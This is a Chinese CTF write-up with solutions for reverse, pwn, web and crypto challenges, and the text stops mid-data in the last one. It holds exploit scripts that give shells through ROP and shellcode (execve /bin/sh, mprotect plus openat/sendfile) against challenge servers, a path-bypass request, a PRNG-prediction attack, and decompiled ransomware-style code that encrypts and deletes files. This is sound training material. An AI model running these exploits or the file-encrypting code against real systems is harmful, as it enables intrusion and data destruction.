[66, 107, 135, 171, 208, 206, 170, 60, 88, 118, 27, 187, 1, 114, 96, 109, 216, 171, 6, 68, 145, 162, 167, 106, 249, 169, 62, 26, 229, 111, 168, 66, 6, 162, 247]

我们单独使用数据运行xor_crypt试试

是有返回数据的,前几位用flag{试试

可以发现前几位与cipher完全是一致,可以判定程序只用了xor_crypt进行一个简单的伪随机 数异或加密

import moon
 cipher = [int(moon.TARGET_HEX[i:i + 2], 16) for i in range(0, 
len(moon.TARGET_HEX), 2)]
 # print(cipher)
 inp = [0x61] * len(cipher)
 tmp = moon.xor_crypt(moon.SEED, inp)
 for i in range(len(cipher)):
    print(chr(tmp[i] ^ inp[i] ^ cipher[i]), end='')
 # flag{but_y0u_l00k3d_up_@t_th3_mOOn}

Dragon

解压看到里面是一个bc为后缀的文件(Dragon.hc)

首先将Dragon.hc转换为.s文件

apt install llvm llc Dragon.bc -o Dragon.s

再clang Dragon.s 在kali上报错了

linux好像不行,windows下

clang Dragon.s -o Dragon.exe

很简单了

提取cipher(unk_14001D330)

cipher = [0xDC63E34E419F7B47, 0x031EF8D4E7B2BFC6,
0x12D62FBC625FD89E, 0x83E8B6E1CC5755E8, 0xFC7BB1EB2AB665CC,
0x9382CA1B2A62D96B, 0xB1FFF8A07673C387, 0x0DA81627388E05E1,
0x9EF1E61AE8D0AAB7, 0x92783FD2E7F26145, 0x63C97CA1F56FE60B,
0x9BD3A8B043B73AAB]

两字节两字节的加密并进行校验

flag为24位这里用z3进行求解

脚本

from z3 import *
enc = [0xDC63E34E419F7B47, 0x031EF8D4E7B2BFC6, 0x12D62FBC625FD89E,
0x83E8B6E1CC5755E8, 0xFC7BB1EB2AB665CC, 0x9382CA1B2A62D96B,
0xB1FFF8A07673C387, 0x0DA81627388E05E1, 0x9EF1E61AE8D0AAB7,
0x92783FD2E7F26145, 0x63C97CA1F56FE60B, 0x9BD3A8B043B73AAB]
flag = [BitVec(f"flag_{i}", 8) for i in range(24)]
s = Solver()
​
# 定义 Z3 版本的 CRC64 计算
def z3_crc64(byte1, byte2):
    crc = BitVecVal(0xFFFFFFFFFFFFFFFF, 64)
    poly = BitVecVal(0x42F0E1EBA9EA3693, 64)
    crc ^= ZeroExt(56, byte1) << 56
    for _ in range(8):
        msb = Extract(63, 63, crc) == BitVecVal(1, 1)
        crc = If(msb, (crc << 1) ^ poly, crc << 1)
    crc ^= ZeroExt(56, byte2) << 56
    for _ in range(8):
        msb = Extract(63, 63, crc) == BitVecVal(1, 1)
        crc = If(msb, (crc << 1) ^ poly, crc << 1)
    return crc ^ BitVecVal(0xFFFFFFFFFFFFFFFF, 64)
for i in range(0, 24, 2):
    crc = z3_crc64(flag[i], flag[i + 1])
    s.add(crc == enc[i // 2])
if s.check() == sat:
    m = s.model()
    final_flag = "".join(char(m[flag[i]].as_long()) for i in range(24))
    print("Flag:", final_flag)
else:
    print("No solution found")
# flag{LLVM_1s_Fun_Ri9h7?}

PWN

girlfriend

case3存在fmt,case2存在栈溢出,可以做迁移。那就可以泄露完canary和libc及pie后,在向buf里写rop。0x100字节想干嘛就干嘛,mprotect,openat,sendfile都可以。

def menu(x):
    p.sendafter(b'Your Choice:\n',str(x).encode())
 
def over(x):
    menu(1)
    p.sendafter(b'what do you want to say to her?\n',x)
 
def buy():
    menu(2)
    p.sendafter(b'Do you want to buy her flowers?\n,'b'Y')
 
def fmt(x):
    menu(3)
    p.sendafter(b'You should tell her your name first\n',x)
    
fmt(b'%8$p%7$p%15$p')
p.recvuntil(b'your name:\n')
libc.address = int(rx(14),16)-0x26c000
pie_addr = int(rx(14),16) - 0x18d9
canary = int(rx(18),16)
 
shellcode_addr = pie_addr + 0x4060
pop_rdi_addr = 0x000000000002a3e5 + libc.address 
pop_rsi_addr = 0x000000000002be51 + libc.address
pop_rdx_rbx_addr = 0x00000000000904a9 + libc.address
pop_rax = 0x0000000000045eb0 + libc.address
syscall_ret = 0x0000000000091316 + libc.address
leaveret = 0x1706 + pie_addr
mprotect = libc.sym['mprotect'] 
 
openat_sendfile = asm(shellcraft.openat(0, "/flag", 0, 0))
openat_sendfile += asm(shellcraft.sendfile(1, 3, 0, 0x30))
 
buf_addr = 0x4060 + pie_addr
 
payload = b''
payload += p64(pop_rdi_addr)
payload += p64(buf_addr&~0xFF)
payload += p64(pop_rsi_addr)
payload += p64(0x2000)
payload += p64(pop_rdx_rbx_addr)
payload += p64(7)
payload += p64(0)
payload += p64(mprotect)
payload += p64(0x000000000002b78e+libc.address)
payload += openat_sendfile
 
fmt(payload)
over(b'a'*0x38+p64(canary)+p64(buf_addr-8)+p64(leaveret))

Ret2libc's Revenge

溢出可以控制数组的索引,索引到ret的位置开始写rop。

缓冲区模式为0,所以需要让执行流一直执行puts("Ret2libc's Revenge")缓冲区满了以后会输出内容,只要提前控制rdi为一个含有libc地址的地址就可以了。拿到libc以后就是ret2libc

用到的gadget

0x00000000004010eb: add rsi, qword ptr [rbp + 0x20]; ret;
0x0000000000401180: mov rdi, rsi; ret;
0x00000000004010E4: and rsi, 0

exp:

bss = elf.bss()
mov_rdi_rsi = 0x401180
call_puts= 0x401294
add_rsi = 0x4010eb
lea_rsi_call_puts = 0x40128D
pop_rbp =0x40117d
payload = b''
payload += b'a'*0x21c
payload += b'\x28'
payload += p64(add_rsi)+p64(mov_rdi_rsi)+p64(call_puts)+p64(0)+p64(0x40128D)+p64(0x5)+p64(0x40128D)
payload += (p64(0)+p64(0x40128D))*0xe3
p.sendline(payload)
sleep(0.5)
p.sendline(b'\x0a'*(0xe3+2))
print('============================================> ')
libc.address = u64(p.recvuntil(b'\x7f',drop=False,timeout=1)[-6:].ljust(8,b'\x00')) - 0x21ca80
pop_rdi_addr = 0x000000000002a3e5 + libc.address
pop_rsi_addr = 0x000000000016333a + libc.address
pop_rdx_r12_addr = 0x000000000011f2e7 + libc.address
pop_rax_addr = 0x0000000000045eb0 + libc.address
syscall_ret_addr = 0x0000000000091316 + libc.address
bin_sh_addr = next(libc.search(b'/bin/sh\x00')) 
shell = b''
shell += p64(pop_rdi_addr)
shell += p64(bin_sh_addr)
shell += p64(pop_rsi_addr)
shell += p64(0)
shell += p64(pop_rdx_r12_addr)
shell += p64(0)
shell += p64(0)
shell += p64(pop_rax_addr)
shell += p64(59)
shell += p64(syscall_ret_addr)
p.sendline(b'a'*0x21c+b'\x28'+shell)
p.interactive()

明日方舟

输入名字存在溢出,写brp为一个bss地址,劫持retaddr为0x4018ac的位置集训执行read就会在rbp-0x40的位置写上rop。并且还会执行一次leave ret就将栈迁移到了bss。

exp:

def chouka():
        p.sendlineafter('欢迎使用明日方舟寻访模拟器!祝你好运~'.encode(),b'\x0a')
        p.sendlineafter('请选择:[1]单抽 [2]十连 [3]自定义数量 [4]结束抽卡\n'.encode(),b'4')
        p.sendlineafter('请选择:[1]向好友炫耀 [2]退出\n'.encode(),b'1')
chouka()
pop_rdi_addr = 0x00000000004018e5
ret_addr = pop_rdi_addr+1
main_addr = 0x401728
leave_ret_addr = 0x401393
bin_sh_addr = 0x405c80
p.recvuntil('请输入你的名字:\n'.encode())
p.send(flat(b'a'*0x40,elf.bss()+0x100,0x4018A8))
s(b'/bin/sh\x00'+p64(ret_addr)+p64(pop_rdi_addr)+p64(bin_sh_addr)+p64(0x4018FC)+p64(main_addr)*3+p64(0x405d98)+p64(leave_ret_addr))
p.interactive()
 

EZ3.0

分析:Checksec ,是mips32位小端序程序,开启了NX保护

IDA里面看到,main调用的chall函数存在栈溢出

溢出空间足够写到栈上$sp+0x38的位置,溢出偏移是0x24,就可以溢出覆盖返回地址

继续在IDA里面分析,看到system函数和 /bin/cat /flag.txt

那么我们执行system('/bin/cat /flag.txt')就可以读到flag了,那么我们就需要找一个gadget,将这个字符串作为参数写入$a0中,再执行system,就能获取到flag了

exp:

from pwn import *
context(arch='mips', os='linux', endian='little', word_size=32, log_level='debug')
#p = process(["qemu-mipsel", "-L", "/usr/mipsel-linux-gnu", "./EZ3.0"])
io = remote('47.94.217.82',22710)
gadget = 0x400a20
sys_addr = 0x4009ec
cat_flag = 0x411010
payload = b'a' * 0x24 + p32(gadget) + b'a'*4 + p32(sys_addr) +p32(cat_flag)
io.sendlineafter(b'>',payload)
io.recvuntil(b'\n')
io.interactive()

web苦手

通过get请求得到参数,对参数进行解析

一共有三个参数:passwd_re passwd_lo filename

若有passwd_re时会使用自制的哈希算法生成hash值,写入到当前目录的dk.dat里

当没有passwd_re参数时,对passwd_lo进行运算,将lo的hash值与之前写入的re的hash值比较,其中要求re的长度大于64位,lo的值小于64位,可以让lo和re的哈希值第一位为'/0'来绕过。

本地调用程序,爆破出结果。不用分析hash函数

当绕过哈希值比较后,发现目录下有两个flag文件,后缀为.dat的flag文件是假的,使用./././flag格式绕过

爆破hash值:

本地运行程序:

爆破passwd_re

import os
import time
import requests
def getHash(passwd):
    os.environ['QUERY_STRING'] = 'passwd_re='+ passwd
    os.system('./ld-musl-x86_64.so.1 ./main > /dev/null 2>&1')
    with open('dk.dat','rb') as f:
        encoded_passwd = f.read()
        return encoded_passwd
for i in range(0x200):
    passwd = 64*"b" + str(i)
    Data = getHash(passwd)
    if Data[0] == 0:
        print(Data)
        print(i)
        exit()
	爆破passwd_lo
import os
import time

for idx in range(0x200):
    os.environ['QUERY_STRING'] = 'passwd_lo=' + str(idx) + '&filename=flag'
    output = os.popen('./ld-musl-x86_64.so.1 ./main').read()
    if "done" in output:
        print(output)
        print("Found passwd_lo:", idx)
        break
import requests

base_url = 'http://39.106.48.123:23011?'

a = requests.get(base_url + 'passwd_re=' + 'b' * 64 + '11')
b = requests.get(base_url + 'passwd_lo=61&filename=' + './' * 5 + 'flag')
print(b.text)

crypto

勒索病毒

python解包后得到enc和pub

然后反编译一下:

# Visit https://www.lddgo.net/string/pyc-compile-decompile for more information
# Version : Python 3.8

Created on Sun Mar 30 18:25:08 2025

@author: Crypto0

import re
import base64
import os
import sys
from gmssl import sm4
from Crypto.Util.Padding import pad
import binascii
from random import shuffle, randrange

N = 49 
p = 3
q = 128  
d = 3
assert q > (6 * d + 1) * p
R.<x> = ZZ[]
def generate_T(d1, d2):
    assert N >= d1 + d2
    s = [1] * d1 + [-1] * d2 + [0] * (N - d1 - d2)
    shuffle(s)
    return R(s)

def invert_mod_prime(f, p):
    Rp = R.change_ring(Integers(p)).quotient(x^N - 1)
    return R(lift(1 / Rp(f)))

def convolution(f, g):
    return (f * g) % (x^N - 1)

def lift_mod(f, q):
    return R([((f[i] + q // 2) % q) - q // 2 for i in range(N)])

def poly_mod(f, q):
    return R([f[i] % q for i in range(N)])

def invert_mod_pow2(f, q):
    assert q.is_power_of(2)
    g = invert_mod_prime(f, 2)
    while True:
        r = lift_mod(convolution(g, f), q)
        if r == 1:
            return g
        g = lift_mod(convolution(g, 2 - r), q)

def generate_message():
    return R([randrange(p) - 1 for _ in range(N)])

def generate_key():
    while True:
        try:
            f = generate_T(d + 1, d)
            g = generate_T(d, d)
            Fp = poly_mod(invert_mod_prime(f, p), p)
            Fq = poly_mod(invert_mod_pow2(f, q), q)
            break
        except:
            continue
    h = poly_mod(convolution(Fq, g), q)
    return h, (f, g)

def encrypt_message(m, h):
    e = lift_mod(p * convolution(h, generate_T(d, d)) + m, q)
    return e

def save_ntru_keys():
    h, secret = generate_key()
    with open("pub_key.txt", "w") as f:
        f.write(str(h))
    m = generate_message()
    with open("priv_key.txt", "w") as f:
        f.write(str(m))
    e = encrypt_message(m, h)
    with open("enc.txt", "w") as f:
        f.write(str(e))

def terms(poly_str):
    terms = []
    pattern = r\'([+-]?\\s*x\\^?\\d*|[-+]?\\s*\\d+)\'
    matches = re.finditer(pattern, poly_str.replace(\' \', \'\'))
    
    for match in matches:
        term = match.group()
        if term == \'+x\' or term == \'x\':
            terms.append(1)
        elif term == \'-x\':
            terms.append(-1)
        elif \'x^\' in term:
            coeff_part = term.split(\'x^\')[0]
            exponent = int(term.split(\'x^\')[1])
            if not coeff_part or coeff_part == \'+\':
                coeff = 1
            elif coeff_part == \'-\':
                coeff = -1
            else:
                coeff = int(coeff_part)
            terms.append(coeff * exponent)
        elif \'x\' in term:
            coeff_part = term.split(\'x\')[0]
            if not coeff_part or coeff_part == \'+\':
                terms.append(1)
            elif coeff_part == \'-\':
                terms.append(-1)
            else:
                terms.append(int(coeff_part))
        else:
            if term == \'+1\' or term == \'1\':
                terms.append(0)
                terms.append(-0)
    return terms

def gen_key(poly_terms):
    binary = [0] * 128
    for term in poly_terms:
        exponent = abs(term)
        if term > 0 and exponent <= 127:  
            binary[127 - exponent] = 1
    binary_str = \'\'.join(map(str, binary))
    hex_key = hex(int(binary_str, 2))[2:].upper().zfill(32)
    return hex_key

def read_polynomial_from_file(filename):
    with open(filename, \'r\') as file:
        return file.read().strip()


def sm4_encrypt(key, plaintext):
    assert len(key) == 16, "SM4 key must be 16 bytes"
    cipher = sm4.CryptSM4()
    cipher.set_key(key, sm4.SM4_ENCRYPT)
    padded_plaintext = pad(plaintext, 16)
    return cipher.crypt_ecb(padded_plaintext)

def sm4_encrypt_file(input_path, output_path, key):
    with open(input_path, \'rb\') as f:
        plaintext = f.read()
    
    ciphertext = sm4_encrypt(key, plaintext)
    
    with open(output_path, \'wb\') as f:
        f.write(ciphertext)

def resource_path(relative_path):
    if getattr(sys, \'frozen\', False):
        base_path = sys._MEIPASS
    else:
        base_path = os.path.abspath(".")
    return os.path.join(base_path, relative_path)

def encrypt_directory(directory, sm4_key, extensions=[".txt"]):
    if not os.path.exists(directory):
        print(f"Directory does not exist: {directory}")
        return
    
    for root, _, files in os.walk(directory):
        for file in files:
            if any(file.endswith(ext) for ext in extensions):
                input_path = os.path.join(root, file)
                output_path = input_path + ".enc"
                
                try:
                    sm4_encrypt_file(input_path, output_path, sm4_key)
                    os.remove(input_path)
                    print(f"Encrypted: {input_path} -> {output_path}")
                except Exception as e:
                    print(f"Error encrypting {input_path}: {str(e)}")

def main():
    try:
        save_ntru_keys()
        poly_str = read_polynomial_from_file("priv_key.txt")
        poly_terms = terms(poly_str)
        sm4_key = binascii.unhexlify(poly_terms)
        user_name = os.getlogin()
        target_dir = os.path.join("C:\\Users", user_name, "Desktop", "test_files")
        
        if not os.path.exists(target_dir):
            os.makedirs(target_dir, exist_ok=True)
            print(f"Created directory: {target_dir}")
            return
            
        txt_files = [f for f in os.listdir(target_dir) 
                    if f.endswith(\'.txt\') and os.path.isfile(os.path.join(target_dir, f))]
        
        if not txt_files:
            print("No .txt files found in directory")
            return
            
        for txt_file in txt_files:
            file_path = os.path.join(target_dir, txt_file)
            try:
                with open(file_path, \'rb\') as f:
                    test_data = f.read()
                
                ciphertext = sm4_encrypt(sm4_key, test_data)
                encrypted_path = file_path + \'.enc\'
                
                with open(encrypted_path, \'wb\') as f:
                f.write(ciphertext)
            except Exception as e:
                print(f"Error processing {txt_file}: {str(e)}")
                
    except Exception as e:
        print(f"Fatal error: {str(e)}")

if __name__ == "__main__":
    main()

poc:

# -*- coding: utf-8 -*-
import re
import binascii
from gmssl import sm4
from Crypto.Util.Padding import unpad

def parse_poly(poly):
    """提取多项式中正号项的指数值"""
    cleaned = poly.replace(' ', '')
    if not cleaned.startswith(('+', '-')):
        cleaned = '+' + cleaned

    pattern = r'([+-])([^+-]+)'
    terms = re.findall(pattern, cleaned)

    result = []
    for sign, body in terms:
        positive = sign == '+'
        if 'x' not in body:
            continue  # 跳过常数项
        if '^' in body:
            try:
                exp = int(body.split('^')[1])
                if positive:
                    result.append(exp)
            except Exception:
                continue
        elif body == 'x' and positive:
            result.append(1)
    return result

def poly_to_key(indices):
    """从指数列表生成 128 位二进制密钥并转换为十六进制字符串"""
    bit_array = ['0'] * 128
    for idx in indices:
        if 0 < idx <= 127:
            bit_array[127 - idx] = '1'
    binary = ''.join(bit_array)
    return hex(int(binary, 2))[2:].upper().zfill(32)

def decrypt_sm4(key_hex, ciphertext_hex):
    """使用 SM4 ECB 模式解密十六进制密文"""
    cipher = sm4.CryptSM4()
    key_bytes = binascii.unhexlify(key_hex)
    data_bytes = binascii.unhexlify(ciphertext_hex)
    cipher.set_key(key_bytes, sm4.SM4_DECRYPT)

    try:
        padded = cipher.crypt_ecb(data_bytes)
        unpadded = unpad(padded, 16)
        return unpadded.decode('utf-8')
    except Exception as err:
        print(f"Decryption failed: {err}")
        print(f"Raw decrypted bytes: {padded}")
        return None

if __name__ == "__main__":
    poly_str = "-x^48 - x^46 + x^45 + x^43 - x^42 + x^41 + x^40 + x^36 - x^35 + x^34 - x^33 + x^32 - x^30 + x^29 - x^28 - x^27 - x^26 - x^25 - x^23 - x^22 + x^21 + x^20 + x^19 + x^18 - x^17 - x^16 - x^15 - x^14 - x^12 + x^9 - x^7 - x^6 - x^5 - x^4 + x^3 - x + 1"

    exponents = parse_poly(poly_str)
    print(f"Extracted positive exponents: {exponents}")

    key_hex = poly_to_key(exponents)
    print(f"Generated key (hex): {key_hex}")

    ciphertext = "bf0cb5cc6bea6146e9c1f109df953a57daa416d38a8ffba6438e7e599613e01f3b9a53dace4ccd55cd3e55ef88e0b835"
    flag = decrypt_sm4(key_hex, ciphertext)

    if flag:
        print(f"\nDecrypted flag: {flag}")

Division

题目源码:

# -*- encoding: utf-8 -*-
'''
@File    :   server.py
@Time    :   2025/03/20 12:25:03
@Author  :   LamentXU 
'''
import random 
print('----Welcome to my division calc----')
print('''
menu:
      [1]  Division calc
      [2]  Get flag
''')
while True:
    choose = input(': >>> ')
    if choose == '1':
        try:
            denominator = int(input('input the denominator: >>> '))
        except:
            print('INPUT NUMBERS')
            continue
        nominator = random.getrandbits(32)
        if denominator == '0':
            print('NO YOU DONT')
            continue
        else:
            print(f'{nominator}//{denominator} = {nominator//denominator}')
    elif choose == '2':
        try:
            ans = input('input the answer: >>> ')
            rand1 = random.getrandbits(11000)
            rand2 = random.getrandbits(10000)
            correct_ans = rand1 // rand2
            if correct_ans == int(ans):
                print('WOW')
                with open('flag', 'r') as f:
                    print(f'Here is your flag: {f.read()}')
            else:
                print(f'NOPE, the correct answer is {correct_ans}')
        except:
            print('INPUT NUMBERS')
    else:
        print('Invalid choice')

打开后是个很朴素的交互菜单

选项 1 会让你输入一个分母,然后它用一个隐藏的 nominator 除它,打印出来。

但是选项 2 才是真正的入口:会用两个巨大的随机数 rand1 // rand2 来考你,你答对了,就给你 flag。问题是:这两个数都用的是 random.getrandbits() 生成的,而且位数非常大:11000 和 10000 位。

思路:

题目用的是 Python 的 random.getrandbits(),而它的背后是一个可预测的伪随机数生成器(PRNG),叫做 Mersenne Twister(MT19937)

关键点就是:只要我们拿到 MT19937 的前 624 次输出,就能完整还原它内部状态,然后预测后面的任何输出。

大致流程就是:

1、利用选项 1 连续调用 624 次,输入分母 1,让程序直接把 nominator 打印出来 2、把这 624 个 32 位整数丢进 randcrack 这个库,它会恢复 PRNG 状态

rc = RandCrack()
rc.submit(nominator) # 连续 624 次

填满后就可以 predict_getrandbits(…) 任意位数的随机数了

3、然后用它继续预测两个大数(11000位 和 10000位),拿这两个数一除,就是正确答案

rand1 = rc.predict_getrandbits(11000)
rand2 = rc.predict_getrandbits(10000)
answer = rand1 // rand2

4、最后把这个正确答案交给选项 2,就能够拿到 flag

POC:

# -*- coding: utf-8 -*-
from pwn import remote
from randcrack import RandCrack
import re

print('----Welcome to my division calc----')
print('''
menu:
      [1]  Division calc
      [2]  Get flag
''')

# 建立与远程设备的连接
conn = remote('39.106.71.197', 28763)

# 初始化遥测分析器
rc = RandCrack()

for i in range(624):
    conn.sendlineafter(b': >>> ', b'1')
    conn.sendlineafter(b'input the denominator: >>> ', b'1')

    payload = conn.recvline().decode().strip()
    print(f"Received line {i+1}: {payload}")

    result = re.match(r'(\d+)//\d+ = \d+', payload)
    if result:
        entropy = int(result.group(1))
        rc.submit(entropy)
        print(f"Submitted {i+1}/624: {entropy}")
    else:
        print(f"Error parsing line: {payload}")
        conn.close()
        exit(1)

print("\nCollected 624 numbers. Predicting...")

try:
    future_1 = rc.predict_getrandbits(11000)
    future_2 = rc.predict_getrandbits(10000)
    solution = future_1 // future_2
    print(f"Predicted rand1 (approx): {str(future_1)[:50]}...")
    print(f"Predicted rand2 (approx): {str(future_2)[:50]}...")
    print(f"Calculated answer: {solution}")

    conn.sendlineafter(b': >>> ', b'2')
    conn.sendlineafter(b'input the answer: >>> ', str(solution).encode())

    flag_data = conn.recvall(timeout=5).decode()
    print("\nServer response:")
    print(flag_data)

except ValueError as e:
    print(f"\nError during prediction or calculation: {e}")
    print("Perhaps not enough unique values were collected, or the PRNG isn't MT19937 as expected.")
except Exception as e:
    print(f"\nAn unexpected error occurred: {e}")
finally:
    conn.close()

Reed

源码:

import string
import random
from secret import flag

assert flag.startswith('XYCTF{') and flag.endswith('}')
flag = flag.rstrip('}').lstrip('XYCTF{')

table = string.ascii_letters + string.digits
assert all(i in table for i in flag)
r = random.Random()

class PRNG:
    def __init__(self, seed):
        self.a = 1145140
        self.b = 19198100
        random.seed(seed)

    def next(self):
        x = random.randint(self.a, self.b)
        random.seed(x ** 2 + 1)
        return x
    
    def round(self, k):
        for _ in range(k):
            x = self.next()
        return x

def encrypt(msg, a, b):
    c = [(a * table.index(m) + b) % 19198111 for m in msg]
    return c

seed = int(input('give me seed: '))
prng = PRNG(seed)
a = prng.round(r.randrange(2**16))
b = prng.round(r.randrange(2**16))
enc = encrypt(flag, a, b)
print(enc)

丢给ai分析一下

分析源码后得到PNG生成规则和 加密方式--仿射加密,

同时得到,flag 的前两个字符是一样的(因为相同输入 → 相同输出)!

我们可以利用这个假设来构造两个不同字符位置的加密等式,从而解出 key_akey_b

核心思路:

这题的关键是通过分析密文的加密公式,推导出密钥 ab 的生成规律,然后利用爆破+验证的方式还原它们。

1、复现 PRNG 序列

按题目逻辑,用 seed=1314 生成前 2^16 * 2 步 PRNG 序列;

记录每个值在第几步出现(方便后续验证 key_a 和 key_b 是否来自合法步数);

构建 value -> position 的反查表

2、穷举前两个字符并列出方程

枚举字符表中任意两个不同字符 ch0, ch2;

设它们对应 index 为 i0i2

对应密文为 c0 = a*i0 + bc2 = a*i2 + b

消去 b 得到:

a = (c0 - c2) * (i0 - i2)^(-1) % MOD
b = (c0 - a*i0) % MOD

检查解出的 a 和 b 是否来自 PRNG 序列的合法范围内(<= 65536);

3、验证 key_a 出现在前65536步,key_b 出现在它之后的最多65536步内

成功匹配说明密钥合法;

使用其模逆数 a⁻¹ 解密密文

4、解密铭文

index = ((cipher - b) * a⁻¹) % mod
char = table[index]

将得到的索引去还原字符,最后再拼出flag

POC:

#!/usr/bin/env python3
import socket
import ast
import string
import random
import math

# ----- 连接参数和常量设置 -----
HOST = "47.94.103.208"
PORT = 22598
seed_input = 1314

modulus = 19198111
charSet = string.ascii_letters + string.digits
charLen = len(charSet)
maxRounds = 2**16
totalSteps = maxRounds * 2

# ----- 连接远程服务并获取密文 -----
print(f"[*] 正在连接 {HOST}:{PORT} ...")
with socket.create_connection((HOST, PORT)) as s:
    # 等待提示(例如 "give me seed:")
    prompt = s.recv(1024).decode()
    print("[*] 收到提示:", prompt.strip())
    # 发送种子,注意加上换行符
    s.sendall(f"{seed_input}\n".encode())
    # 接收密文(假设返回的是一个 Python 格式的列表字符串)
    cipher_line = s.recv(4096).decode().strip()
    print("[*] 收到密文数据:", cipher_line)
    try:
        cipher = ast.literal_eval(cipher_line)
    except Exception as e:
        print("[-] 密文解析失败:", e)
        exit(1)

# ----- 根据种子构造 PRNG 序列 -----
print(f"[*] 使用种子 {seed_input} 生成伪随机序列,共 {totalSteps} 步...")
random.seed(seed_input)
lower_bound = 1145140
upper_bound = 19198100

seq_vals = []          # 存储生成的随机数序列(顺序保存)
value_positions = {}   # 记录每个输出值出现的1基位置

for step in range(1, totalSteps + 1):
    val = random.randint(lower_bound, upper_bound)
    random.seed(val ** 2 + 1)
    seq_vals.append(val)
    if val in value_positions:
        value_positions[val].append(step)
    else:
        value_positions[val] = [step]

print(f"[*] PRNG 序列生成完毕,总步数: {len(seq_vals)}")
uniqueASet = set(seq_vals[:maxRounds])
print(f"[*] 前 {maxRounds} 步中候选 key_a 的唯一值数量: {len(uniqueASet)}")

# ----- 枚举前缀组合求解密钥参数 -----
print("[*] 开始枚举前缀组合以求解密钥参数...")
found = False
key_a = None
key_b = None

# 假设加密过程对 flag 中前几个字符满足线性关系,枚举字符对应在 charSet 中的索引
for idx0, ch0 in enumerate(charSet):
    c0 = cipher[0]
    # 此处同时读取第二个密文项,用于验证相同前缀假设(不强制要求相等,仅作为信息)
    c1 = cipher[1]
    print(f"    尝试前缀字符 '{ch0}'(索引 {idx0})")
    for idx2, ch2 in enumerate(charSet):
        if idx0 == idx2:
            continue  # 要求两个位置不同,便于消去未知数
        c2 = cipher[2]
        delta = idx0 - idx2
        try:
            inv_delta = pow(delta, -1, modulus)
        except ValueError:
            continue  # 当前差值在模意义下不可逆,跳过

        candidate_a = (((c0 - c2) % modulus) * inv_delta) % modulus
        candidate_b = (c0 - candidate_a * idx0) % modulus

        # 只有 candidate_a 出现在前 maxRounds 步的随机数中才有可能是合法密钥
        if candidate_a in uniqueASet:
            poss_positions = [p for p in value_positions.get(candidate_a, []) if p <= maxRounds]
            if not poss_positions:
                continue

            for pos in poss_positions:
                for pos_candidate in value_positions.get(candidate_b, []):
                    if pos < pos_candidate <= pos + maxRounds and pos_candidate <= totalSteps:
                        print("\n[+] 找到可能的密钥参数:")
                        print(f"    前缀字符组合: '{ch0}' 和 '{ch2}'")
                        print(f"    key_a = {candidate_a}, key_b = {candidate_b}")
                        print(f"    位置:pos_a = {pos},pos_b = {pos_candidate}")
                        key_a = candidate_a
                        key_b = candidate_b
                        found = True
                        break
                if found:
                    break
        if found:
            break
    if found:
        break

if not found:
    print("[-] 未能确定密钥参数!")
    exit(1)

# ----- 解密过程 -----
print("\n[*] 开始解密密文...")
try:
    inv_key_a = pow(key_a, -1, modulus)
except ValueError:
    print("[-] key_a 无法求模逆!")
    exit(1)

plaintext_chars = []
for num in cipher:
    pos = (((num - key_b) % modulus) * inv_key_a) % modulus
    if 0 <= pos < charLen:
        plaintext_chars.append(charSet[pos])
    else:
        print(f"[-] 解密错误:计算索引 {pos} 超出范围(对应密文 {num})")
        exit(1)

message = "".join(plaintext_chars)
flag = f"XYCTF{{{message}}}"
print("\n[+] 解密成功!")
print("Flag:", flag)

Complex_signin

源码:

from Crypto.Util.number import *
from Crypto.Cipher import ChaCha20
import hashlib
from secret import flag


class Complex:
    def __init__(self, re, im):
        self.re = re
        self.im = im

    def __mul__(self, c):
        re_ = self.re * c.re - self.im * c.im
        im_ = self.re * c.im + self.im * c.re
        return Complex(re_, im_)

    def __eq__(self, c):
        return self.re == c.re and self.im == c.im

    def __rshift__(self, m):
        return Complex(self.re >> m, self.im >> m)

    def __lshift__(self, m):
        return Complex(self.re << m, self.im << m)

    def __str__(self):
        if self.im == 0:
            return str(self.re)
        elif self.re == 0:
            if abs(self.im) == 1:
                return f"{'-' if self.im < 0 else ''}i"
            else:
                return f"{self.im}i"
        else:
            return f"{self.re} {'+' if self.im > 0 else '-'} {abs(self.im)}i"

    def tolist(self):
        return [self.re, self.im]


def complex_pow(c, exp, n):
    result = Complex(1, 0)
    while exp > 0:
        if exp & 1:
            result = result * c
            result.re = result.re % n
            result.im = result.im % n
        c = c * c
        c.re = c.re % n
        c.im = c.im % n
        exp >>= 1
    return result

bits = 128
p = getPrime(1024)
q = getPrime(1024)
n = p * q
m = Complex(getRandomRange(1, n), getRandomRange(1, n))
e = 3
c = complex_pow(m, e, n)
print(f"n = {n}")
print(f"mh = {(m >> bits << bits).tolist()}")
print(f"C = {c.tolist()}")
print(f"enc = {ChaCha20.new(key=hashlib.sha256(str(m.re + m.im).encode()).digest(), nonce=b'Pr3d1ctmyxjj').encrypt(flag)}")

'''
n = 24240993137357567658677097076762157882987659874601064738608971893024559525024581362454897599976003248892339463673241756118600994494150721789525924054960470762499808771760690211841936903839232109208099640507210141111314563007924046946402216384360405445595854947145800754365717704762310092558089455516189533635318084532202438477871458797287721022389909953190113597425964395222426700352859740293834121123138183367554858896124509695602915312917886769066254219381427385100688110915129283949340133524365403188753735534290512113201932620106585043122707355381551006014647469884010069878477179147719913280272028376706421104753
mh = [3960604425233637243960750976884707892473356737965752732899783806146911898367312949419828751012380013933993271701949681295313483782313836179989146607655230162315784541236731368582965456428944524621026385297377746108440938677401125816586119588080150103855075450874206012903009942468340296995700270449643148025957527925452034647677446705198250167222150181312718642480834399766134519333316989347221448685711220842032010517045985044813674426104295710015607450682205211098779229647334749706043180512861889295899050427257721209370423421046811102682648967375219936664246584194224745761842962418864084904820764122207293014016, 15053801146135239412812153100772352976861411085516247673065559201085791622602365389885455357620354025972053252939439247746724492130435830816513505615952791448705492885525709421224584364037704802923497222819113629874137050874966691886390837364018702981146413066712287361010611405028353728676772998972695270707666289161746024725705731676511793934556785324668045957177856807914741189938780850108643929261692799397326838812262009873072175627051209104209229233754715491428364039564130435227582042666464866336424773552304555244949976525797616679252470574006820212465924134763386213550360175810288209936288398862565142167552]
C = [5300743174999795329371527870190100703154639960450575575101738225528814331152637733729613419201898994386548816504858409726318742419169717222702404409496156167283354163362729304279553214510160589336672463972767842604886866159600567533436626931810981418193227593758688610512556391129176234307448758534506432755113432411099690991453452199653214054901093242337700880661006486138424743085527911347931571730473582051987520447237586885119205422668971876488684708196255266536680083835972668749902212285032756286424244284136941767752754078598830317271949981378674176685159516777247305970365843616105513456452993199192823148760, 